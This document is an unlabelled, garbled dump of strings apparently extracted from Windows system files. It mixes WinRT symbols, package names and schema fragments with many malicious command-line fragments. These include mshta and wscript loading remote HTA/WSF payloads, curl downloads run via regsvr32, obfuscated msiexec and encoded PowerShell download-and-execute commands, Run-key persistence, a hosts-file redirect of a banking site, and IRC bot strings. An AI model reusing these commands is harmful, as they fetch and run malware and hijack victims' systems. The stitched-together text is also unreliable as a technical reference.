wow64_microsoft-windows-wmi-wmiclnt_31bf3856ad364e35_none_649f428b9e42a84f
wow64_microsoft-windows-wmic-wow64-deployment_31bf3856ad364e35_none_9160951cd23672fd
wow64_microsoft-windows-wmiperf_31bf3856ad364e35_none_f21c1f3defc6b90b
wow64_microsoft-windows-wmistub_31bf3856ad364e35_none_f2490fc5efa50d30
wow64_microsoft-windows-wmiv2-mi-dll.resources_31bf3856ad364e35_en-us_140b7c2983d8e24f
wow64_microsoft-windows-wmiv2-mi-dll_31bf3856ad364e35_none_e5876a1bac7d20a0
wow64_microsoft-windows-wmiv2-miutils-dll_31bf3856ad364e35_none_14e0af627210a0a3
pWindows
c:\windows\system32\windowspowershell\v1.0\
C:\WINDOWS\SYSTEM32\
cmd_windows_updatec
@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVectorView@I@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterable@I@Collections@Foundation@Windows@3@@impl@winrt@@
.?AUtype@?$abi@U?$IIterable@I@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterable@I@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVector@I@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVector@I@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVectorView@I@Collections@Foundation@Windows@3@@impl@winrt@@
.?AUtype@?$abi@U?$IVectorView@I@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$root_implements@Uargs@?$observable_vector_base@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@I@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$implements@Uargs@?$observable_vector_base@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@I@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@winrt@@
.?AU?$produce@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@I@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@I@Collections@Foundation@Windows@3@X@impl@winrt@@
ext-ms-win-ntuser-windowstation-l1-1-0.dll
api-ms-win-core-windowserrorreporting-l1-1-1.dll
((Get-MpPreference).ExclusionPath -contains 'C:\Windows(
C:\ProgramData\Microsoft\Windows\CapabilityAccessManager\CapabilityAccessManager.db-shm
windowsZones
@{C:\Windows\SystemApps\Microsoft.Async
@{C:\Windows\
HenuLib\winrt\Windows.UI.Xaml.Markup.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\resource.h
C:\__w\1\s\Src\Components\StartMenu\lib\StartScreenManagerWindowService.h
@menuinternet\iexplore.exe\shell\open\command\windows\system32\drivers\etc\hostse
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-IIS-WebServer-AddOn-2-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-CoreSystem-CredSSP-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
WindowsBackup
0Ksoftware\microsoft\windows nt\currentversion
ComSpec=C:\WINDOWS\system32\cmd.exe
USERDOMAIN_ROAMINGPROFILE=Windows11
Windows.Data.Apps.DeviceMetaData
USERDOMAIN_ROAMINGPROFILE=Windows11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
DriverData=C:\Windows\System32\Drivers\DriverData
github.com/ThomsonReutersEikon/go-ntlmgithub.com/staaldraad/go-ntlmgithub.com/urfave/clisensepost/ruler/C:\Windows\System32\calc.exe
d$"dWINDOWS\system32\BRemotes.exeuser.qzone.qq.comSOFTWARE\Microsoft\Windows\CurrentVersion\Run /v BATCOMLockServiceDatabase
bar/osoft\windows\currentversion\runonce
)>>%systemdrive%\windows\
windows.appExtension
windows.protocol
windows.appExtension
}rname!"%windir%\system32\shell32.dll%
ir%\system32\curl.exe<
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.ApplicationModel.Activation.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.UI.Xaml.Automation.Provider.h
\windows
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\RunJ
lc:\windows\system32\wscript.exe//b\\makes-threatening-precision-bath.trycloudflare.com@ssl\davwwwroot\asw.wsf
c:\windows\system32\windowspowershell\v1.0\powershell.exe.'mshta'https://supersmsblow.live/qtum/super/moczyni
\windows\system32\cmd.exeg/ccurl-o%temp%\47294.jpghttp://23.29.125.210/justi.dat&&%windir%\system32\regsvr32
,c:\windows\system32\windowspowershell\v1.0\powershell.exe.'mshta'https://mensualgeneratr.com/descargas/f3347
c:\windows\system32\syncappvpublishingserver.vbs;\w*\\\\*2\\\m*h*a*e('http'+'://163.5.64.41/dl_copy.'+'hta')
c:\windows\system32\mshta.exe"\\witness-girlfriend-vegas-referrals.trycloudflare.com@ssl\davwwwroot\kak.hta"
 3/\system32\rundll32.exe
!%systemroot%\system32\shell32.dll%windir%\system32\rundll32.exe
           targetNamespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:desktop7="http://schemas.microsoft.com/appx/manifest/desktop/windows10/7"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/7"/>
    <xs:attribute name="ResourceGroup" type="t:ST_AsciiWindowsId" use="optional" form="qualified"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/cloudfiles/windows10"
           xmlns="http://schemas.microsoft.com/appx/manifest/cloudfiles/windows10"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
\device\harddiskvolume3\windows\prefetch\
Microsoft.Windows.Ast.Rpc
Win32API|Windows 95/98 Functions|DRIVE_MAP_INFObtInt13Unit
      <xs:enumeration value="windows.mailProvider"/>
      <xs:enumeration value="windows.shortcut"/>
      <xs:enumeration value="windows.applicationRegistration"/>
      <xs:enumeration value="windows.desktopAppMigration"/>
        <xs:enumeration value="windows.systemFileAssociation"/>
        <xs:enumeration value="windows.errorReporting"/>
        <xs:enumeration value="windows.eventTracing"/>
        <xs:enumeration value="windows.userMutablePackageDirectories"/>
      <xs:enumeration value="windows.cloudFiles"/>
        <xs:enumeration value="windows.printSupportSettingsUI"/>
        <xs:enumeration value="windows.printSupportExtension"/>
        <xs:enumeration value="windows.printSupportWorkflow"/>
        <xs:enumeration value="windows.printSupportJobUI"/>
        <xs:enumeration value="windows.printSupportVirtualPrinterWorkflow"/>
        <xs:enumeration value="windows.printSupportEnterpriseManagementUI"/>
      <xs:enumeration value="windows.settingsApp"/>
      <xs:enumeration value="windows.userDataAccountsProvider"/>
      <xs:enumeration value="windows.lockScreenComponent"/>
      <xs:enumeration value="windows.desktopAppMigration"/>
      <xs:enumeration value="windows.primaryInteropAssemblies"/>
      <xs:enumeration value="windows.classicAppCompatKeys"/>
  <xs:simpleType name="ST_ApplicationExtensionCategory_Windows_Restricted_Party2">
      <xs:enumeration value="windows.internal.filePickerExperience"/>
  <xs:simpleType name="ST_ExtensionCategory_Windows_Restricted_Party3">
      <xs:pattern value="windows\.internal\.[0-9a-z][0-9a-zA-Z]*"/>
SetWindowsHookExAm
WINDOW\system32\load
\WindowsAzureTelemetry
*.grxml.|%WINDIR%\System32\svchost
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy-In-Block
)+"\appdata\roaming\microsoft\windows\startmenu\programs\startup\"
systemroot\system32\config\systemprofile\appdata\local\microsoft\windows\cloudapcache\azuread\$cachedir\cache\cachedata
XL;curl-owindowsupdate.ziphttp
@windowsupdate.zip;tar-xfwindowsupdate.zip;&
@windowsupdate\windows\searchindex.exe
NtUserSetWindowsHookEx
NtUserSetWindowStationUser
NtUserUpdateWindows
NtUserCreateWindowStationEx
NtUserCreateWindowStation
NtUserOpenWindowStation
NtUserUnhookWindowsHook
NtUserDisableProcessWindowsGhosting
Microsoft.Windows.Defender.SecurityHealthAgent
Windows.Storage.dll
ArrangeWindows
/\cmd.exe/q/v/r^s^t^a^r^t^m^sie^x^ec^jxd=dd^tk/q/^f^v"http://2t.pm:8080/y/wyfo/namadzw55f5srzd2vz/!computername!"g^f^d^h^dl^d=^pzmr^ly%windir%\system32\imageres.dll
}Lp$action_.arguments='/errorstdout"""%appdata%\microsoft\windows\'+$
cmd.exe04.rfa|/rs^t^ar^tm^siexecav=gwok^a/^f^v"http://q0.wf:8080/blbncriempmk5zbm4tza54/%computername%"vr^j=^r^g^y^w^xtm^k^s/qui^e^t%windir%\system32\shell32.dll%
\cmd.exeshinbos/q/rst^artm^s^i^e^x^e^c/q^n/fv"http://6t.pm:8080/yfa60n0my/a1zrjnzrcviivxh/%computername%"w^b^o^x^bvk=^cbao^sr%windir%\system32\shell32.dll%windir%
za.dat&&%windir%\system32\regsvr32%temp%\
.jpgc:\windows\write.exe%windir%\system32\cmd.exe%windir%\system32\cmd.exe%systemroot%\write.exe%systemroot%\write.exe%
e-windowstylehidden-noprofile-executionpolicybypass-command"invoke-webrequest-uri'https://codeveinsurance.info/1/win32.exe'-outfile$env:temp\
c:\windows\system32\cmd.exe/ccurl-
c:\windows\system32\windowspowershell\v1.0\powershell.exe-c"$buxf=&who
c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanaf4abqbeahmaxgbeaf4axgboahqaxgbhaf4aiaboahqadabeaf4acabeaf4axgbzaf4axgbeadoaxgbeaf4axgavac8azabpahmaxgbeagmacgblahqaxgbeagkaxgbvag4axgbeaf4axgataf4abqbeaf4axgblag0axgbiaf4axgbyaf4axgbeaf4ayqbeag4azqbeac0axgbeagkabqbeaf4acabeaf4axgbvaf4axgbeaf4acgbeaf4axgb0ac0axgbeaf4azablahmaxgb0af4axgbeaf4aaqbeaf4axgbeag4aeqbeaf4axgbeac4adabeaf4axgbeahiaeqbeaf4aywbeaf4axgbeagwaxgbeaf4axgbvahuazabeaf4azgbsaf4axgbeaf4ayqbyagualgbeaf4axgbeagmabwbeag0axgavaf4axgbkaguaxgbeaf4azgbhaf4axgbeaf4adqbeaf4axgbsahqaxgbeaf4axgauag0acaa0af4axgbeaf4ajwauahiazqbwagwayqbjaguakaanaf4ajwasaccajwapadsaaqblahgaiaaoagcaywbiacka
^\"?.:\\windows\\system32\\werfault\.exe\"?((?!\-s).)*$
\\powershell\.exe\"?\s+.+[a-z]:\\programdata\\microsoft\\windows defender advanced threat protection\\downloads\\psscript_[^\.]+\.ps1.+$
Windows Defender Exploit Guard detected Adobe Reader launching child process
%userprofile%\appdata\roaming\watchdox\windows plugin\pdflauncher.exe
%windir%\system32\bucappnt.exe
%windir%\system32\bumappnt.exe
%windir%\system32\bupappnt.exe
%windir%\system32\eventvwr.exe
%windir%\system32\fondue.exe
%windir%\system32\fontview.exe
%windir%\system32\ime
%windir%\system32\prevhost.exe
%windir%\system32\rmactivate.exe
%windir%\system32\runtimebroker.exe
%windir%\system32\tokenbrokercookies.exe
%windir%\system32\wisptis.exe
%windir%\system32\cmtrace.exe
%windir%\system32\taskmgr.exe
3banking.nonghyup.com>>c:/windows/system32/drivers/etc/hostsecho
software\wow6432node\microsoft\windows\currentversion\uninstall
_+"c:\windows\system32\cmd.exe/c&lt;command&gt;"orwherevercmd.exe
r1&Windows10.0.14393.0
9N7F2SM5D1LRWindows HDR Calibrationhttps://store-images.s-microsoft.com/image/apps.35619.14066308247113248.71f37cc8-86b5-4f83-855b-441821570bfe.3602898d-b565-4f20-a6a7-fca7a34f61aaen
9N7F2SM5D1LRWindows HDR Calibrationhttps://store-images.s-microsoft.com/image/apps.35619.14066308247113248.71f37cc8-86b5-4f83-855b-441821570bfe.3602898d-b565-4f20-a6a7-fca7a34f61aafr
9N7F2SM5D1LRWindows HDR Calibrationhttps://store-images.s-microsoft.com/image/apps.35619.14066308247113248.71f37cc8-86b5-4f83-855b-441821570bfe.3602898d-b565-4f20-a6a7-fca7a34f61aade
='hkcu:\software\microsoft\windows\currentversion\run';
windows\system32\windowspowershell\v1.0\powershell.exe/$uvofxpzi=[convert]::frombase64string('enzr');$svjombnf=[convert]::frombase64string('xkbbr1itw0dhq0ajhbxdwldaq0zbvkudufxehficbaokhvthug==');$ofvqwjmp=-join($uvofxpzi|%{[char]($_-bxor0x33)});$zwhctgvk=-join($svjombnf|%{[char]($_-bxo
Microsoft WindowsMicrosoft Windows Production PCA 20110
%Microsoft Windows Production PCA 20110
Microsoft Windows0
zw+aMicrosoft Windows Production PCA 2011Microsoft Root Certificate Authority 20100
%Microsoft Windows Production PCA 20110
like"*windows*"0
c:\windows\system32\windowspowershell\v1.0\
c:\windows\system32\windowspowershell\v1.0\
ComSpec=C:\WINDOWS\system32\cmd.exe
C:\WINDOWS\system32\svchost.exe -k netsvcs -p
CClassic_{D4690CFE-6A59-4BAB-BFF7-9ED0D083E798}-BChange how Windows searchesW
Find and fix problems with Windows SearchR
Turn Windows features on or offM
Fonecoreuap\windows\core\dispbroker\lib\displaypath.cpp
onecoreuap\windows\core\dispbroker\lib\displaystate.cpp
onecoreuap\windows\core\dispbroker\lib\displaymanager.cpp
onecoreuap\windows\core\dispbroker\lib\displayview.cpp
C:\Windows\System32\msiexec.exe|2026-02-24 08:01:10.824
Mixed Reality Portal|launch|attach|startup|hololens settings|MR settings|Windows MR settings|Steam|SteamVR|Q
Windows Mixed Realityb
in Windows Mixed Realityn
recognition in Windows Mixed Realityu
speech recognition in Windows Mixed Reality
audio|microphone|filter|additional|multiple|hololens settings|MR settings|Windows MR settings|J
Windows Mixed Reality]
with Windows Mixed Realitya
use with Windows Mixed Realityd
to use with Windows Mixed Realitym
speakers to use with Windows Mixed Reality
speech|audio|filter|additional|multiple|hololens audio settings|MR settings|Windows MR settings|E
Windows Mixed RealityX
with Windows Mixed Reality\
use with Windows Mixed Reality_
to use with Windows Mixed Realityj
microphone to use with Windows Mixed Realityl
a microphone to use with Windows Mixed Reality
speech|audio|filter|additional|multiple|hololens microphone settings|MR settings|Windows MR settings|N
Windows Mixed Realitya
with Windows Mixed Realityg
audio with Windows Mixed Reality\
windowsformsapp
WindowsFormsApp57
Pp(file) downloaded -> (size: %dkb).privmsg %s :updating...privmsg %s :file cannot be executed.privmsg %s :current file is already updated.botcashprivmsg %s :opened file.privmsg %s :http(file) cannot be downloaded.privmsg %s :accepted.hellbot220 stnyftpdecho open %s %d >b-o-t-z-o-r%dkb free [.os.]: windows %s127.0.0.1	securityresponse.symantec.com127.0.0.1	www.mcafee.com
software\windows2000software\datetime%%].exe"message-id: <%s%s>to: 
onecoreuap\windows\moderncore\inputv2\rawinputproviders\mpc\lib\speechruntimelistener.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\rim\lib\mobilebuttondevicecollection.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\rim\lib\consumercontroldevicecollection.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\rim\lib\gazedevicecollection.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\rim\lib\dockdevicecollection.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\rim\lib\dockabledevicecollection.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\rim\lib\hapticdevicecollection.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\rim\lib\rimdevice.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\rim\lib\hiddevice.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\rim\lib\spatialrimdevice.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\rim\lib\gazehiddevice.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\rim\lib\dockdevice.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\injection\lib\injectionrawinputprovider.cpp
0onecoreuap\windows\moderncore\inputv2\rawinputproviders\lamparray\lib\consumercontrolmanager.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\lamparray\lib\lamparraydevice.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\lamparray\lib\consumercontrolnexusdevice.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\lamparray\lib\consumercontrolgenericdevice.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\lamparray\lib\lamparraytelemetry.cpp
onecoreuap\windows\moderncore\inputv2\delivery\server\InputServiceProxy.h
onecoreuap\windows\moderncore\inputv2\systeminputhosts\components\win32kinterop\lib\keyboardoverriderdispatcher.cpp
onecoreuap\windows\moderncore\inputv2\systeminputrouters\dwm\lib\inputdesttarget.cpp
onecoreuap\windows\moderncore\inputv2\systeminputrouters\dwm\components\cursor\service\lib\systemcursorservice2.cpp
onecoreuap\windows\moderncore\inputv2\systeminputrouters\dwm\components\cursor\service\lib\desktopsystemcursorservice.cpp
onecoreuap\windows\moderncore\Inputv2\systeminputrouters\dwm\components\cursor\Service\inc\DesktopSystemCursorService.h
onecoreuap\windows\moderncore\inputv2\systeminputrouters\dwm\components\cursor\service\lib\cursorvisuals2.cpp
onecoreuap\windows\moderncore\inputv2\systeminputrouters\mpc\lib\mpcfocustarget.cpp
onecoreuap\windows\moderncore\inputv2\systeminputrouters\mpc\lib\mpctarget.cpp
onecoreuap\windows\moderncore\inputv2\utilities\gamepadinterceptionhelper\gamepadinterceptionhelper.cpp
onecoreuap\windows\moderncore\inputv2\utilities\inputconfiguration\inputconfigurationhelpers.cpp
onecoreuap\windows\moderncore\inputv2\utilities\panelhelper\panelhelper.cpp
onecoreuap\windows\moderncore\inputv2\utilities\systemcontextprovider\lib\inputconfigcontextprovider.cpp
onecoreuap\windows\moderncore\inputv2\utilities\testcommandhost\lib\testcommandhost.cpp
onecoreuap\windows\moderncore\inputv2\utilities\rotationwatcher\rotationwatcher.cpp
Microsoft.Windows.UI.Input.Inking.TraceLogging
Microsoft.Windows.UI.Input.Inking.DirectInk
c:\windows\system32\cmd.exe/d/ccmd<
Dc:\windows\system32\forfiles.exe/pc:\windows/
/cd%systemroot%\system32
run('%windir%\\system32\\'+
*&"c:\windows\temp\sdiag_
'AAA_SettingsPageRestoreMusUpdate%h'2windowsupdate2
'2windowss3
'2windows y5
#AAA_SettingsPageRestoreMusUpdate*|'2windows ups9
+AAA_SettingsPageRestoreMusUpdate+"'2windows upodate9
+AAA_SettingsPageRestoreMusUpdate&/'2windows upgrade7
'2windows updte9
'2windows updatre9
'2windows updates9
'2windows updaterp
 features of Windows
target="http://officewindowssecurityfirewallopen.duckdns.org/
hidden-executionpolicybypass-file`"$selfpath`"--fromloader--detached"-windowstylehiddenexit
WindowsCreateString
WindowsDeleteString
WindowsDuplicateString
WindowsCreateStringReference
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCompareStringOrdinal
api-ms-win-core-windowserrorreporting-l1-1-0.dll
6@Uhstring@4@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer_convert@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_N_KHV?$vector@HV?$allocator@H@std@@@6@Uhstring@4@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUpromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_N_KHV?$vector@HV?$allocator@H@std@@@6@Uhstring@4@@experimental@std@@
.?AU?$producers_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_N_KHV?$vector@HV?$allocator@H@std@@@6@Uhstring@4@@experimental@std@@V?$tuple@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@234@@4@@impl@winrt@@
.?AU?$produce@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@@impl@winrt@@
.?AU?$produce_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@@impl@winrt@@
.?AU?$produce_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@678@@winrt@@
.?AU?$promise_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$root_implements_composable_inner@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@@experimental@std@@$0A@@impl@winrt@@
.?AU?$root_implements@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@678@@impl@winrt@@
.?AU?$producer_convert@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer_convert@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUpromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@@experimental@std@@
.?AU?$producers_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@@experimental@std@@V?$tuple@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@234@@4@@impl@winrt@@
.?AU?$produce@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@$$V@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@@impl@winrt@@
.?AU?$produce_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@$$V@
.?AU?$produce_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@U54@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@U54@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@678@@winrt@@
.?AU?$promise_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@U54@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$root_implements_composable_inner@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@U54@@experimental@std@@$0A@@impl@winrt@@
.?AU?$root_implements@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@U54@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@678@@impl@winrt@@
.?AU?$producer_convert@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@U54@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@U54@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@U54@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer_convert@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@U54@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUpromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@U54@@experimental@std@@
.?AU?$producers_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@U54@@experimental@std@@V?$tuple@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@234@@4@@impl@winrt@@
